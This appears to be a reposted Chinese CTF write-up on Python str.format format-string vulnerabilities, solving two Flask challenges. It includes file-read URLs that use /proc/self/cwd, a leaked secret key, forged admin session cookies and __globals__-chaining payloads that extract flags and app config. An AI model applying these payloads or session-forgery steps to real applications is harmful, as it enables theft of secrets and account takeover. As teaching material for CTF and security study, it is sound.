内容简介:pyhton中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息
什么是python格式化字符串漏洞
pyhton中,存在几种格式化字符串的方式,然而当我们使用的方式不正确的时候,即格式化的字符串能够被我们控制时,就会导致一些严重的问题,比如获取敏感信息
python常见的格式化字符串
百分号形式进行格式化字符串
>>> name = 'Hu3sky' >>> 'My name is %s' %name 'My name is Hu3sky'
使用标准库中的模板字符串
string.Template()
>>> from string import Template >>> name = 'Hu3sky' >>> s = Template('My name is $name') >>> s.substitute(name=name) 'My name is Hu3sky'
使用format进行格式化字符串
format的使用就很灵活了,比如以下
最普通的用法就是直接格式化字符串
>>> 'My name is {}'.format('Hu3sky') 'My name is Hu3sky'
指定位置
>>> 'Hello {0} {1}'.format('World','Hacker') 'Hello World Hacker' >>> 'Hello {1} {0}'.format('World','Hacker') 'Hello Hacker World'
设置参数
>>> 'Hello {name} {age}'.format(name='Hacker',age='17') 'Hello Hacker 17'
百分比格式
>>> 'We have {:.2%}'.format(0.25) 'We have 25.00%'
获取数组的键值
>>> '{arr[2]}'.format(arr=[1,2,3,4,5]) '3'
用法还有很多,就不一一列举了
这里看一种错误的用法
先是正常打印
>>> config = {'SECRET_KEY': 'f0ma7_t3st'} >>> class User(object): ... def __init__(self, name): ... self.name = name >>> 'Hello {name}'.format(name=user.name) Hello hu3sky
恶意利用
>>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__) "Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': <class '__main__.User'>, 'user': <__main__.User object at 0x03242EF0>}"
可以看到,当我们的 name=user.__class__.__init__.__globals__
时,就可以将很多敏感的东西给打印出来
SWPUCTF 皇家线上赌场
文件读取
根据首页弹出的xss,来到路径
http://107.167.188.241/static?file=test.js
接着发现任意文件读取
http://107.167.188.241/static?file=/etc/passwd
发现泄露:
http://107.167.188.241/source
文件目录
[root@localhost]# tree web web/ ├── app │ ├── forms.py │ ├── __init__.py │ ├── models.py │ ├── static │ ├── templates │ ├── utils.py │ └── views.py ├── req.txt ├── run.py ├── server.log ├── start.sh └── uwsgi.ini [root@localhost]# cat views.py.bak filename = request.args.get('file', 'test.js') if filename.find('..') != -1: return abort(403) filename = os.path.join('app/static', filename)
/etc/mtab文件: /etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。 /proc/mounts文件: 其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有,只是序有所不同,另外还多了一条根文件系统信息:
查看工作目录
/proc/mounts
或者
/etc/mtab
发现web
/home/ctf/web_assli3fasdf
但是除了
http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js
,其余的文件都读不到
绕过目录限制
可以用 /proc/self/cwd
绕过,cwd是一个符号链接,指向了实际的工作目录
views.py http://107.167.188.241/static?file=/proc/self/cwd/app/views.py
def register_views(app): @app.before_request def reset_account(): if request.path == '/signup' or request.path == '/login': return uname = username=session.get('username') u = User.query.filter_by(username=uname).first() if u: g.u = u g.flag = 'swpuctf{xxxxxxxxxxxxxx}' if uname == 'admin': return now = int(time()) if (now - u.ts >= 600): u.balance = 10000 u.count = 0 u.ts = now u.save() session['balance'] = 10000 session['count'] = 0 @app.route('/getflag', methods=('POST',)) @login_required def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
非admin用户10分钟会重置一次,所以需要构造admin和大于1000000的钱
__init__.py
: http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py
拿到s_key 即可伪造session
from flask import Flask from flask_sqlalchemy import SQLAlchemy from .views import register_views from .models import db def create_app(): app = Flask(__name__, static_folder='') app.secret_key = '9f516783b42730b7888008dd5c15fe66' app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db' register_views(app) db.init_app(app) return app
利用脚本解密session
{'csrf_token': '1021549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 10000, 'username': 'hu3sky'}
接着用key伪造
"{'csrf_token': '10 21549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 1000000, 'username': 'admin'}"
format格式化字符串漏洞
然后访问 /getflag
关键代码
def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
这里是format格式化字符串漏洞
可以发现,最后的 jdata.format(field, g.u, mhash)
里的 field
是我们可控的, field
是 request.form.get
从 request
上下文中的 get
方法获取到的
于是大致的思路是找到 g
对象所在的命名空间,找到 getflag
方法,然后调 __globals__
获取所有变量,再从 getflag
方法中取出 g
对象。由于提升了有 save
方法
所以最后构造的payload
field=save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag
百越杯Easy flask
环境: https://github.com/hongriSec/CTF-Training/tree/master/2018/%E7%99%BE%E8%B6%8A%E6%9D%AF2018/Web
环境搭建
修改工作目录名为flaskr
然后set FLASK_APP=__init__.py
接着 flask init-db
初始化数据库
就可以 flask run
了
用户遍历
打开题目,有注册和登陆(源码里没附css。。搭出来的环境界面很简单)
先注册账号
登陆
可以看到有一个 edit secert
的功能
提交后会显示在页面上
观察url
views?id=6
于是我们修改id,发现可以遍历用户,在id=5时是admin
源码审计
通过www-zip下载到源码
目录结构
几个关键点
auth.py
... //省略 @bp_auth.route('/flag') @login_check def get_flag(): if(g.user.username=="admin"): with open(os.path.dirname(__file__)+'/flag','rb') as f: flag = f.read() return flag return "Not admin!!" ...//省略
secert.py
...//省略 @bp_secert.route('/views',methods = ['GET','POST']) @login_check def views_info(): view_id = request.args.get('id') if not view_id: view_id = session.get('user_id') user_m = user.query.filter_by(id=view_id).first() if user_m is None: flash(u"该用户未注册") return render_template('secert/views.html') if str(session.get('user_id'))==str(view_id): secert_m = secert.query.filter_by(id=view_id).first() secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m) else: secert_t = u"<p>***************************************<p>" name = u"<h1>name:{user_m.username}<h1>" email = u"<h2>email:{user_m.email}<h2>" info = (name+email+secert_t).format(user_m=user_m) return render_template('secert/views.html',info = info) ...//省略
format格式化字符串
从auth可以看到,当用户是admin的时候才可以访问 /flag
在已登录的用户里发现了session
用脚本解密
(test_py3) λ python flask_session解密.py "eyJ1c2VyX2lkIjo2fQ.XFKzTQ.Ucu4Lbwm0b0nJM8QM_9j41MGkPc " {'user_id': 6}
于是现在思路很明确了
伪造成admin->访问/flag->get flag
那么现在就要想办法拿到 SECRET_KEY
这样才能伪造session
在secret.py
两处format,第一处的secret是我们可控的,就是edit secert,于是测试
当我提交 {user_m.password}
时
出现了sha256加密的密码,于是我们就可以通过这里去读SECRET_KEY
在 secert.py
的开头 import
了 current_app
,于是可以通过获取 current_app
来获取 SECRET_KEY
payload
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
Session伪造
获取到 SECRET_KEY
后,就是利用脚本伪造session了
利用加密脚本生成session
(test_py3) λ python flask_session加密.py encode -t "{'user_id': 5}" -s "test" eyJ1c2VyX2lkIjo1fQ.XFLUdg.rVvk_CdUlXvLedmJSCD8YYUABZg
修改session后
访问 /flag
总结
在一般的CTF中,通常格式化字符串漏洞会和session机制的问题,SSTI等一起出现.一般来说,在审计源码的过程中,看到了使用format,且可控,那基本上就可以认为是format格式化字符串漏洞了。
以上所述就是小编给大家介绍的《从两道CTF实例看python格式化字符串漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JavaScript Patterns
Stoyan Stefanov / O'Reilly Media, Inc. / 2010-09-21 / USD 29.99
What's the best approach for developing an application with JavaScript? This book helps you answer that question with numerous JavaScript coding patterns and best practices. If you're an experienced d......一起来看看 《JavaScript Patterns》 这本书的介绍吧!